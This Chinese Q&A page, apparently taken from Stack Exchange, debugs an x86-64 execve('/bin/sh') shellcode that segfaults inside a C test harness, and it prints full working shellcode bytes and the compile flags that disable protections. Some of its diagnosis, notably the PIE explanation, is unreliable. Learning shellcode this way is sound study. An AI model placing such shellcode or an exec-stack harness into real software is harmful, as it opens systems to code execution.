You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

x86-64 Shellcode运行触发段错误,求排查解决及软硬件问题确认

Shellcode执行段错误问题解决

问题背景

编写x86_64架构的shellcode并嵌入C文件后,编译执行触发段错误。操作流程为:编写汇编代码→提取opcode→嵌入C文件编译运行。环境为VirtualBox中的Kali虚拟机,NASM版本2.16.01,GCC版本12.2.0。

汇编代码

;nasm -f elf64 test.nasm; ld test.o -o test  
section .text
global _start
_start:
    xor rax, rax
    push rax
    mov rax, 0x68732f6e69622f2f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    xor rax, rax
    mov al, 0x3b    ; execve()
    syscall

objdump反汇编输出

$ objdump -D -M intel test.o       

test.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   48 31 c0                xor    rax,rax
   3:   50                      push   rax
   4:   48 b8 2f 2f 62 69 6e    movabs rax,0x68732f6e69622f2f
   b:   2f 73 68 
   e:   50                      push   rax
   f:   48 89 e7                mov    rdi,rsp
  12:   48 31 f6                xor    rsi,rsi
  15:   48 31 d2                xor    rdx,rdx
  18:   48 31 c0                xor    rax,rax
  1b:   b0 3b                   mov    al,0x3b
  1d:   0f 05                   syscall

嵌入opcode的C文件

#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x48\x31\xc0\x50\x48\xb8\x2f\x2f"
"\x62\x69\x6e\x2f\x73\x68\x50\x48"
"\x89\xe7\x48\x31\xf6\x48\x31\xd2"
"\x48\x31\xc0\xb0\x3b\x0f\x0";

void main() {
    printf(" shell length: %d\n", (int)strlen(code));
    int (*ret) () = (int(*) ()) code;
    ret();
}
//gcc -fno-stack-protector -z execstack test.c -o test2

执行错误信息

./test2                                     
 shell length: 30
zsh: segmentation fault  ./test2

问题原因与修复方案

1. Opcode截断错误

从objdump输出可见,syscall指令的完整opcode是0f 05,但C代码中最后一段写成了\x0f\x0,缺失了关键的\x05字节。这会导致CPU执行到此处时指令不完整,触发非法操作进而引发段错误。

修复:将code数组最后部分修改为"\x48\x31\xc0\xb0\x3b\x0f\x05"。

2. strlen()计算长度不可靠

strlen()会在遇到第一个\x00字节时停止计数,虽然当前shellcode中没有\x00,但这种方式无法准确获取shellcode的真实长度。正确的做法是使用sizeof(code) - 1(减去数组末尾自动添加的null终止符)。

修复:修改printf行代码:

printf(" shell length: %d\n", (int)(sizeof(code) - 1));

3. PIE地址随机化影响(可选)

Kali Linux默认开启PIE(位置无关执行),即使开启了-z execstack,数据段的地址随机化仍可能导致shellcode执行异常。编译时添加-fno-pie选项可关闭PIE,确保code数组的地址固定。

修改编译命令:

gcc -fno-stack-protector -z execstack -fno-pie test.c -o test2

修复后的完整C代码

#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x48\x31\xc0\x50\x48\xb8\x2f\x2f"
"\x62\x69\x6e\x2f\x73\x68\x50\x48"
"\x89\xe7\x48\x31\xf6\x48\x31\xd2"
"\x48\x31\xc0\xb0\x3b\x0f\x05";

void main() {
    printf(" shell length: %d\n", (int)(sizeof(code) - 1));
    int (*ret) () = (int(*) ()) code;
    ret();
}

编译执行后即可正常获取shell。

内容的提问来源于stack exchange,提问作者metal4all

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.18 11:27:49